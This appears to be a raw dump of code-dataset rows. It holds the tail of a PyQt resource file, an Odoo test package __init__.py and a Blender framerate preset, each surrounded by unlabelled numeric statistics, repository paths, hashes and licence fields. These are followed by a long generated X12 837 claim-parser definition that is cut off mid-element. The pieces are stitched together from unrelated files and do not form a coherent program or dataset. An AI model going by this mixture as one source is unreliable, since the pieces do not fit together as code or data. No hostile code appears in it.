"\x00\x00\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x02\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00N\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00" def qInitResources(): QtCore.qRegisterResourceData(0x01, qt_resource_struct, qt_resource_name, qt_resource_data) def qCleanupResources(): QtCore.qUnregisterResourceData(0x01, qt_resource_struct, qt_resource_name, qt_resource_data) qInitResources()
90.714286
967
0.761155
378
1,905
3.777778
0.473545
0.252101
0.176471
0.058824
0.179272
0.17507
0.140756
0.140756
0.121849
0.121849
0
0.295405
0.04042
1,905
20
968
95.25
0.485777
0.078215
0
0
0
0.333333
0.787879
0.786735
0
0
0.004574
0
0
1
0.222222
false
0
0.111111
0
0.333333
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
1
0
0
0
0
1
1
1
null
0
0
0
0
0
1
0
0
0
0
0
0
0
7
089c6d7a635b0929628c653c9bed2e9e8e63e15e
170
py
Python
addons14/date_range/tests/__init__.py
odoochain/addons_oca
55d456d798aebe16e49b4a6070765f206a8885ca
[ "MIT" ]
1
2021-06-10T14:59:13.000Z
2021-06-10T14:59:13.000Z
addons14/date_range/tests/__init__.py
odoochain/addons_oca
55d456d798aebe16e49b4a6070765f206a8885ca
[ "MIT" ]
null
null
null
addons14/date_range/tests/__init__.py
odoochain/addons_oca
55d456d798aebe16e49b4a6070765f206a8885ca
[ "MIT" ]
1
2021-04-09T09:44:44.000Z
2021-04-09T09:44:44.000Z
# License AGPL-3.0 or later (http://www.gnu.org/licenses/agpl). from . import test_date_range_type from . import test_date_range from . import test_date_range_generator
28.333333
63
0.794118
29
170
4.37931
0.62069
0.23622
0.330709
0.425197
0.543307
0
0
0
0
0
0
0.013245
0.111765
170
5
64
34
0.827815
0.358824
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
1
0
1
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
8
08dfaa89c6ed1115fcbf6ef1d0ea1cdf2cd80e45
83
py
Python
release/scripts/presets/framerate/50.py
rbabari/blender
6daa85f14b2974abfc3d0f654c5547f487bb3b74
[ "Naumen", "Condor-1.1", "MS-PL" ]
365
2015-02-10T15:10:55.000Z
2022-03-03T15:50:51.000Z
release/scripts/presets/framerate/50.py
rbabari/blender
6daa85f14b2974abfc3d0f654c5547f487bb3b74
[ "Naumen", "Condor-1.1", "MS-PL" ]
45
2015-01-09T15:34:20.000Z
2021-10-05T14:44:23.000Z
release/scripts/presets/framerate/50.py
rbabari/blender
6daa85f14b2974abfc3d0f654c5547f487bb3b74
[ "Naumen", "Condor-1.1", "MS-PL" ]
172
2015-01-25T15:16:53.000Z
2022-01-31T08:25:36.000Z
import bpy bpy.context.scene.render.fps = 50 bpy.context.scene.render.fps_base = 1
20.75
37
0.783133
15
83
4.266667
0.6
0.3125
0.46875
0.65625
0.75
0
0
0
0
0
0
0.04
0.096386
83
3
38
27.666667
0.813333
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.333333
0
0.333333
0
1
0
0
null
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
7
3eb5f1aa42f2e8a06438db7c3532c490a25081d1
608,436
py
Python
tigershark/parsers/M837_4010_X096_A1.py
pedromtorres/TigerShark
2790a7c03905a094b126b48387c7919c09cce238
[ "BSD-3-Clause" ]
24
2015-03-18T10:15:20.000Z
2022-03-18T13:38:34.000Z
tigershark/parsers/M837_4010_X096_A1.py
tspannhw/TigerShark
5081641f1b189a43e9eab4813256598cc0a79f6f
[ "BSD-3-Clause" ]
6
2015-03-27T12:36:57.000Z
2021-04-13T15:01:24.000Z
tigershark/parsers/M837_4010_X096_A1.py
tspannhw/TigerShark
5081641f1b189a43e9eab4813256598cc0a79f6f
[ "BSD-3-Clause" ]
21
2015-11-21T09:19:47.000Z
2020-09-17T16:52:50.000Z
# # Generated by TigerShark.tools.convertPyX12 on 2012-07-10 16:30:01.728840 # from tigershark.X12.parse import Message, Loop, Segment, Composite, Element, Properties parsed_837_1000A = Loop( u'1000A', Properties(looptype='',repeat=u'1',pos=u'020',req_sit=u'R',desc=u'Submitter Name'), Segment( u'NM1', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'020',desc=u'Submitter Name'), Element( u'NM101', Properties(desc=u'Entity Identifier Code', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'41'] ) ), Element( u'NM102', Properties(desc=u'Entity Type Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=2, codes=[u'1', u'2'] ) ), Element( u'NM103', Properties(desc=u'Name Last or Organization Name', req_sit=u'R', data_type=(u'AN',u'1',u'60'), position=3, codes=[] ) ), Element( u'NM104', Properties(desc=u'Name First', req_sit=u'S', data_type=(u'AN',u'1',u'35'), position=4, codes=[] ) ), Element( u'NM105', Properties(desc=u'Name Middle', req_sit=u'S', data_type=(u'AN',u'1',u'25'), position=5, codes=[] ) ), Element( u'NM106', Properties(desc=u'Name Prefix', req_sit=u'N', data_type=(u'AN',u'1',u'10'), position=6, codes=[] ) ), Element( u'NM107', Properties(desc=u'Name Suffix', req_sit=u'N', data_type=(u'AN',u'1',u'10'), position=7, codes=[] ) ), Element( u'NM108', Properties(desc=u'Identification Code Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'2'), position=8, codes=[u'46'] ) ), Element( u'NM109', Properties(desc=u'Identification Code', req_sit=u'R', data_type=(u'AN',u'2',u'80'), position=9, codes=[] ) ), Element( u'NM110', Properties(desc=u'Entity Relationship Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=10, codes=[] ) ), Element( u'NM111', Properties(desc=u'Entity Identifier Code', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=11, codes=[] ) ), ), Segment( u'PER', Properties(syntax='',req_sit=u'R',repeat=u'2',pos=u'045',desc=u'Submitter EDI Contact Information'), Element( u'PER01', Properties(desc=u'Contact Function Code', req_sit=u'R', data_type=(u'ID',u'2',u'2'), position=1, codes=[u'IC'] ) ), Element( u'PER02', Properties(desc=u'Name', req_sit=u'R', data_type=(u'AN',u'1',u'60'), position=2, codes=[] ) ), Element( u'PER03', Properties(desc=u'Communication Number Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'2'), position=3, codes=[u'ED', u'EM', u'FX', u'TE'] ) ), Element( u'PER04', Properties(desc=u'Communication Number', req_sit=u'R', data_type=(u'AN',u'1',u'256'), position=4, codes=[] ) ), Element( u'PER05', Properties(desc=u'Communication Number Qualifier', req_sit=u'S', data_type=(u'ID',u'2',u'2'), position=5, codes=[u'ED', u'EM', u'EX', u'FX', u'TE'] ) ), Element( u'PER06', Properties(desc=u'Communication Number', req_sit=u'S', data_type=(u'AN',u'1',u'256'), position=6, codes=[] ) ), Element( u'PER07', Properties(desc=u'Communication Number Qualifier', req_sit=u'S', data_type=(u'ID',u'2',u'2'), position=7, codes=[u'ED', u'EM', u'EX', u'FX', u'TE'] ) ), Element( u'PER08', Properties(desc=u'Communication Number', req_sit=u'S', data_type=(u'AN',u'1',u'256'), position=8, codes=[] ) ), Element( u'PER09', Properties(desc=u'Contact Inquiry Reference', req_sit=u'N', data_type=(u'AN',u'1',u'20'), position=9, codes=[] ) ), ), ) parsed_837_1000B = Loop( u'1000B', Properties(looptype='',repeat=u'1',pos=u'020',req_sit=u'R',desc=u'Receiver Name'), Segment( u'NM1', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'020',desc=u'Receiver Name'), Element( u'NM101', Properties(desc=u'Entity Identifier Code', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'40'] ) ), Element( u'NM102', Properties(desc=u'Entity Type Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=2, codes=[u'2'] ) ), Element( u'NM103', Properties(desc=u'Name Last or Organization Name', req_sit=u'R', data_type=(u'AN',u'1',u'60'), position=3, codes=[] ) ), Element( u'NM104', Properties(desc=u'Name First', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=4, codes=[] ) ), Element( u'NM105', Properties(desc=u'Name Middle', req_sit=u'N', data_type=(u'AN',u'1',u'25'), position=5, codes=[] ) ), Element( u'NM106', Properties(desc=u'Name Prefix', req_sit=u'N', data_type=(u'AN',u'1',u'10'), position=6, codes=[] ) ), Element( u'NM107', Properties(desc=u'Name Suffix', req_sit=u'N', data_type=(u'AN',u'1',u'10'), position=7, codes=[] ) ), Element( u'NM108', Properties(desc=u'Identification Code Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'2'), position=8, codes=[u'46'] ) ), Element( u'NM109', Properties(desc=u'Identification Code', req_sit=u'R', data_type=(u'AN',u'2',u'80'), position=9, codes=[] ) ), Element( u'NM110', Properties(desc=u'Entity Relationship Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=10, codes=[] ) ), Element( u'NM111', Properties(desc=u'Entity Identifier Code', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=11, codes=[] ) ), ), ) parsed_837_HEADER = Loop( u'HEADER', Properties(looptype=u'wrapper',repeat=u'1',pos=u'010',req_sit=u'R',desc=u'Table 1 - Header'), Segment( u'BHT', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'010',desc=u'Beginning of Hierarchical Transaction'), Element( u'BHT01', Properties(desc=u'Hierarchical Structure Code', req_sit=u'R', data_type=(u'ID',u'4',u'4'), position=1, codes=[u'0019'] ) ), Element( u'BHT02', Properties(desc=u'Transaction Set Purpose Code', req_sit=u'R', data_type=(u'ID',u'2',u'2'), position=2, codes=[u'00', u'18'] ) ), Element( u'BHT03', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=3, codes=[] ) ), Element( u'BHT04', Properties(desc=u'Date', req_sit=u'R', data_type=(u'DT',u'8',u'8'), position=4, codes=[] ) ), Element( u'BHT05', Properties(desc=u'Time', req_sit=u'R', data_type=(u'TM',u'4',u'8'), position=5, codes=[] ) ), Element( u'BHT06', Properties(desc=u'Transaction Type Code', req_sit=u'R', data_type=(u'ID',u'2',u'2'), position=6, codes=[u'CH', u'RP'] ) ), ), Segment( u'REF', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'015',desc=u'Transaction Type Identification'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'87'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[u'004010X096DA1', u'004010X096A1'] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), parsed_837_1000A, parsed_837_1000B, ) parsed_837_2010AA = Loop( u'2010AA', Properties(looptype='',repeat=u'1',pos=u'015',req_sit=u'R',desc=u'Billing Provider Name'), Segment( u'NM1', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'015',desc=u'Billing Provider Name'), Element( u'NM101', Properties(desc=u'Entity Identifier Code', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'85'] ) ), Element( u'NM102', Properties(desc=u'Entity Type Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=2, codes=[u'2'] ) ), Element( u'NM103', Properties(desc=u'Name Last or Organization Name', req_sit=u'R', data_type=(u'AN',u'1',u'60'), position=3, codes=[] ) ), Element( u'NM104', Properties(desc=u'Name First', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=4, codes=[] ) ), Element( u'NM105', Properties(desc=u'Name Middle', req_sit=u'N', data_type=(u'AN',u'1',u'25'), position=5, codes=[] ) ), Element( u'NM106', Properties(desc=u'Name Prefix', req_sit=u'N', data_type=(u'AN',u'1',u'10'), position=6, codes=[] ) ), Element( u'NM107', Properties(desc=u'Name Suffix', req_sit=u'N', data_type=(u'AN',u'1',u'10'), position=7, codes=[] ) ), Element( u'NM108', Properties(desc=u'Identification Code Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'2'), position=8, codes=[u'24', u'34', u'XX'] ) ), Element( u'NM109', Properties(desc=u'Identification Code', req_sit=u'R', data_type=(u'AN',u'2',u'80'), position=9, codes=[] ) ), Element( u'NM110', Properties(desc=u'Entity Relationship Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=10, codes=[] ) ), Element( u'NM111', Properties(desc=u'Entity Identifier Code', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=11, codes=[] ) ), ), Segment( u'N3', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'025',desc=u'Billing Provider Address'), Element( u'N301', Properties(desc=u'Address Information', req_sit=u'R', data_type=(u'AN',u'1',u'55'), position=1, codes=[] ) ), Element( u'N302', Properties(desc=u'Address Information', req_sit=u'S', data_type=(u'AN',u'1',u'55'), position=2, codes=[] ) ), ), Segment( u'N4', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'030',desc=u'Billing Provider City/State/ZIP Code'), Element( u'N401', Properties(desc=u'City Name', req_sit=u'R', data_type=(u'AN',u'2',u'30'), position=1, codes=[] ) ), Element( u'N402', Properties(desc=u'State or Province Code', req_sit=u'R', data_type=(u'ID',u'2',u'2'), position=2, codes=[] ) ), Element( u'N403', Properties(desc=u'Postal Code', req_sit=u'R', data_type=(u'ID',u'3',u'15'), position=3, codes=[] ) ), Element( u'N404', Properties(desc=u'Country Code', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=4, codes=[] ) ), Element( u'N405', Properties(desc=u'Location Qualifier', req_sit=u'N', data_type=(u'ID',u'1',u'2'), position=5, codes=[] ) ), Element( u'N406', Properties(desc=u'Location Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Segment( u'REF', Properties(syntax='',req_sit=u'S',repeat=u'8',pos=u'035',desc=u'Billing Provider Secondary Identification'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'0B', u'1A', u'1B', u'1C', u'1D', u'1G', u'1H', u'1J', u'B3', u'BQ', u'EI', u'FH', u'G2', u'G5', u'LU', u'SY', u'X5'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), Segment( u'REF', Properties(syntax='',req_sit=u'S',repeat=u'8',pos=u'035',desc=u'Credit/Debit Card Billing Information'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'06', u'8U', u'EM', u'IJ', u'LU', u'RB', u'ST', u'TT'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), Segment( u'PER', Properties(syntax='',req_sit=u'S',repeat=u'2',pos=u'040',desc=u'Billing Provider Contact Information'), Element( u'PER01', Properties(desc=u'Contact Function Code', req_sit=u'R', data_type=(u'ID',u'2',u'2'), position=1, codes=[u'IC'] ) ), Element( u'PER02', Properties(desc=u'Name', req_sit=u'R', data_type=(u'AN',u'1',u'60'), position=2, codes=[] ) ), Element( u'PER03', Properties(desc=u'Communication Number Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'2'), position=3, codes=[u'EM', u'FX', u'TE'] ) ), Element( u'PER04', Properties(desc=u'Communication Number', req_sit=u'R', data_type=(u'AN',u'1',u'256'), position=4, codes=[] ) ), Element( u'PER05', Properties(desc=u'Communication Number Qualifier', req_sit=u'S', data_type=(u'ID',u'2',u'2'), position=5, codes=[u'EM', u'EX', u'FX', u'TE'] ) ), Element( u'PER06', Properties(desc=u'Communication Number', req_sit=u'S', data_type=(u'AN',u'1',u'256'), position=6, codes=[] ) ), Element( u'PER07', Properties(desc=u'Communication Number Qualifier', req_sit=u'S', data_type=(u'ID',u'2',u'2'), position=7, codes=[u'EM', u'EX', u'FX', u'TE'] ) ), Element( u'PER08', Properties(desc=u'Communication Number', req_sit=u'S', data_type=(u'AN',u'1',u'256'), position=8, codes=[] ) ), Element( u'PER09', Properties(desc=u'Contact Inquiry Reference', req_sit=u'N', data_type=(u'AN',u'1',u'20'), position=9, codes=[] ) ), ), ) parsed_837_2010AB = Loop( u'2010AB', Properties(looptype='',repeat=u'1',pos=u'015',req_sit=u'S',desc=u'Pay-To Provider Name'), Segment( u'NM1', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'015',desc=u'Pay-To Provider Name'), Element( u'NM101', Properties(desc=u'Entity Identifier Code', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'87'] ) ), Element( u'NM102', Properties(desc=u'Entity Type Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=2, codes=[u'2'] ) ), Element( u'NM103', Properties(desc=u'Name Last or Organization Name', req_sit=u'R', data_type=(u'AN',u'1',u'60'), position=3, codes=[] ) ), Element( u'NM104', Properties(desc=u'Name First', req_sit=u'N', data_type=(u'AN',u'1',u'35'), position=4, codes=[] ) ), Element( u'NM105', Properties(desc=u'Name Middle', req_sit=u'N', data_type=(u'AN',u'1',u'25'), position=5, codes=[] ) ), Element( u'NM106', Properties(desc=u'Name Prefix', req_sit=u'N', data_type=(u'AN',u'1',u'10'), position=6, codes=[] ) ), Element( u'NM107', Properties(desc=u'Name Suffix', req_sit=u'N', data_type=(u'AN',u'1',u'10'), position=7, codes=[] ) ), Element( u'NM108', Properties(desc=u'Identification Code Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'2'), position=8, codes=[u'24', u'34', u'XX'] ) ), Element( u'NM109', Properties(desc=u'Identification Code', req_sit=u'R', data_type=(u'AN',u'2',u'80'), position=9, codes=[] ) ), Element( u'NM110', Properties(desc=u'Entity Relationship Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=10, codes=[] ) ), Element( u'NM111', Properties(desc=u'Entity Identifier Code', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=11, codes=[] ) ), ), Segment( u'N3', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'025',desc=u'Pay-To Provider Address'), Element( u'N301', Properties(desc=u'Address Information', req_sit=u'R', data_type=(u'AN',u'1',u'55'), position=1, codes=[] ) ), Element( u'N302', Properties(desc=u'Address Information', req_sit=u'S', data_type=(u'AN',u'1',u'55'), position=2, codes=[] ) ), ), Segment( u'N4', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'030',desc=u'Pay-To Provider City/State/ZIP Code'), Element( u'N401', Properties(desc=u'City Name', req_sit=u'R', data_type=(u'AN',u'2',u'30'), position=1, codes=[] ) ), Element( u'N402', Properties(desc=u'State or Province Code', req_sit=u'R', data_type=(u'ID',u'2',u'2'), position=2, codes=[] ) ), Element( u'N403', Properties(desc=u'Postal Code', req_sit=u'R', data_type=(u'ID',u'3',u'15'), position=3, codes=[] ) ), Element( u'N404', Properties(desc=u'Country Code', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=4, codes=[] ) ), Element( u'N405', Properties(desc=u'Location Qualifier', req_sit=u'N', data_type=(u'ID',u'1',u'2'), position=5, codes=[] ) ), Element( u'N406', Properties(desc=u'Location Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Segment( u'REF', Properties(syntax='',req_sit=u'S',repeat=u'5',pos=u'035',desc=u'Pay-To Provider Secondary Identification'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'0B', u'1A', u'1B', u'1C', u'1D', u'1G', u'1H', u'1J', u'B3', u'BQ', u'EI', u'FH', u'G2', u'G5', u'LU', u'SY', u'X5'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), ) parsed_837_2010BA = Loop( u'2010BA', Properties(looptype='',repeat=u'1',pos=u'015',req_sit=u'R',desc=u'Subscriber Name'), Segment( u'NM1', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'015',desc=u'Subscriber Name'), Element( u'NM101', Properties(desc=u'Entity Identifier Code', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'IL'] ) ), Element( u'NM102', Properties(desc=u'Entity Type Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=2, codes=[u'1', u'2'] ) ), Element( u'NM103', Properties(desc=u'Name Last or Organization Name', req_sit=u'R', data_type=(u'AN',u'1',u'60'), position=3, codes=[] ) ), Element( u'NM104', Properties(desc=u'Name First', req_sit=u'S', data_type=(u'AN',u'1',u'35'), position=4, codes=[] ) ), Element( u'NM105', Properties(desc=u'Name Middle', req_sit=u'S', data_type=(u'AN',u'1',u'25'), position=5, codes=[] ) ), Element( u'NM106', Properties(desc=u'Name Prefix', req_sit=u'N', data_type=(u'AN',u'1',u'10'), position=6, codes=[] ) ), Element( u'NM107', Properties(desc=u'Name Suffix', req_sit=u'S', data_type=(u'AN',u'1',u'10'), position=7, codes=[] ) ), Element( u'NM108', Properties(desc=u'Identification Code Qualifier', req_sit=u'S', data_type=(u'ID',u'1',u'2'), position=8, codes=[u'MI', u'ZZ'] ) ), Element( u'NM109', Properties(desc=u'Identification Code', req_sit=u'S', data_type=(u'AN',u'2',u'80'), position=9, codes=[] ) ), Element( u'NM110', Properties(desc=u'Entity Relationship Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=10, codes=[] ) ), Element( u'NM111', Properties(desc=u'Entity Identifier Code', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=11, codes=[] ) ), ), Segment( u'N3', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'025',desc=u'Subscriber Address'), Element( u'N301', Properties(desc=u'Address Information', req_sit=u'R', data_type=(u'AN',u'1',u'55'), position=1, codes=[] ) ), Element( u'N302', Properties(desc=u'Address Information', req_sit=u'S', data_type=(u'AN',u'1',u'55'), position=2, codes=[] ) ), ), Segment( u'N4', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'030',desc=u'Subscriber City/State/ZIP Code'), Element( u'N401', Properties(desc=u'City Name', req_sit=u'R', data_type=(u'AN',u'2',u'30'), position=1, codes=[] ) ), Element( u'N402', Properties(desc=u'State or Province Code', req_sit=u'R', data_type=(u'ID',u'2',u'2'), position=2, codes=[] ) ), Element( u'N403', Properties(desc=u'Postal Code', req_sit=u'R', data_type=(u'ID',u'3',u'15'), position=3, codes=[] ) ), Element( u'N404', Properties(desc=u'Country Code', req_sit=u'S', data_type=(u'ID',u'2',u'3'), position=4, codes=[] ) ), Element( u'N405', Properties(desc=u'Location Qualifier', req_sit=u'N', data_type=(u'ID',u'1',u'2'), position=5, codes=[] ) ), Element( u'N406', Properties(desc=u'Location Identifier', req_sit=u'N', data_type=(u'AN',u'1',u'30'), position=6, codes=[] ) ), ), Segment( u'DMG', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'032',desc=u'Subscriber Demographic Information'), Element( u'DMG01', Properties(desc=u'Date Time Period Format Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'D8'] ) ), Element( u'DMG02', Properties(desc=u'Date Time Period', req_sit=u'R', data_type=(u'AN',u'1',u'35'), position=2, codes=[] ) ), Element( u'DMG03', Properties(desc=u'Gender Code', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=3, codes=[u'F', u'M', u'U'] ) ), Element( u'DMG04', Properties(desc=u'Marital Status Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=4, codes=[] ) ), Element( u'DMG05', Properties(desc=u'Race or Ethnicity Code', req_sit=u'N', data_type=(u'ID',u'1',u'1'), position=5, codes=[] ) ), Element( u'DMG06', Properties(desc=u'Citizenship Status Code', req_sit=u'N', data_type=(u'ID',u'1',u'2'), position=6, codes=[] ) ), Element( u'DMG07', Properties(desc=u'Country Code', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=7, codes=[] ) ), Element( u'DMG08', Properties(desc=u'Basis of Verification Code', req_sit=u'N', data_type=(u'ID',u'1',u'2'), position=8, codes=[] ) ), Element( u'DMG09', Properties(desc=u'Quantity', req_sit=u'N', data_type=(u'R',u'1',u'15'), position=9, codes=[] ) ), ), Segment( u'REF', Properties(syntax='',req_sit=u'S',repeat=u'4',pos=u'035',desc=u'Subscriber Secondary Identification'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'1W', u'23', u'IG', u'SY'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), Segment( u'REF', Properties(syntax='',req_sit=u'S',repeat=u'1',pos=u'035',desc=u'Property and Casualty Claim Number'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'Y4'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), ) parsed_837_2010BB = Loop( u'2010BB', Properties(looptype='',repeat=u'1',pos=u'015',req_sit=u'S',desc=u'Credit/Debit Card Account Holder Name'), Segment( u'NM1', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'015',desc=u'Credit/Debit Card Account Holder Name'), Element( u'NM101', Properties(desc=u'Entity Identifier Code', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'AO'] ) ), Element( u'NM102', Properties(desc=u'Entity Type Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=2, codes=[u'1', u'2'] ) ), Element( u'NM103', Properties(desc=u'Name Last or Organization Name', req_sit=u'R', data_type=(u'AN',u'1',u'60'), position=3, codes=[] ) ), Element( u'NM104', Properties(desc=u'Name First', req_sit=u'S', data_type=(u'AN',u'1',u'35'), position=4, codes=[] ) ), Element( u'NM105', Properties(desc=u'Name Middle', req_sit=u'S', data_type=(u'AN',u'1',u'25'), position=5, codes=[] ) ), Element( u'NM106', Properties(desc=u'Name Prefix', req_sit=u'N', data_type=(u'AN',u'1',u'10'), position=6, codes=[] ) ), Element( u'NM107', Properties(desc=u'Name Suffix', req_sit=u'S', data_type=(u'AN',u'1',u'10'), position=7, codes=[] ) ), Element( u'NM108', Properties(desc=u'Identification Code Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'2'), position=8, codes=[u'MI'] ) ), Element( u'NM109', Properties(desc=u'Identification Code', req_sit=u'R', data_type=(u'AN',u'2',u'80'), position=9, codes=[] ) ), Element( u'NM110', Properties(desc=u'Entity Relationship Code', req_sit=u'N', data_type=(u'ID',u'2',u'2'), position=10, codes=[] ) ), Element( u'NM111', Properties(desc=u'Entity Identifier Code', req_sit=u'N', data_type=(u'ID',u'2',u'3'), position=11, codes=[] ) ), ), Segment( u'REF', Properties(syntax='',req_sit=u'S',repeat=u'2',pos=u'035',desc=u'Credit/Debit Card Information'), Element( u'REF01', Properties(desc=u'Reference Identification Qualifier', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'AB', u'BB'] ) ), Element( u'REF02', Properties(desc=u'Reference Identification', req_sit=u'R', data_type=(u'AN',u'1',u'50'), position=2, codes=[] ) ), Element( u'REF03', Properties(desc=u'Description', req_sit=u'N', data_type=(u'AN',u'1',u'80'), position=3, codes=[] ) ), Composite( u'C040', Properties(req_sit=u'N',refdes='',seq=u'04',desc=u'Reference Identifier'), ), ), ) parsed_837_2010BC = Loop( u'2010BC', Properties(looptype='',repeat=u'1',pos=u'015',req_sit=u'R',desc=u'Payer Name'), Segment( u'NM1', Properties(syntax='',req_sit=u'R',repeat=u'1',pos=u'015',desc=u'Payer Name'), Element( u'NM101', Properties(desc=u'Entity Identifier Code', req_sit=u'R', data_type=(u'ID',u'2',u'3'), position=1, codes=[u'PR'] ) ), Element( u'NM102', Properties(desc=u'Entity Type Qualifier', req_sit=u'R', data_type=(u'ID',u'1',u'1'), position=2, codes=[u'2'] ) ), Element( u'NM103', Properties(desc=u'Name Last or Organization Name', req_sit=u'R', data_type=(u'AN',u'1',u'60'), position=3, codes=[] ) ), Element( u'NM104', 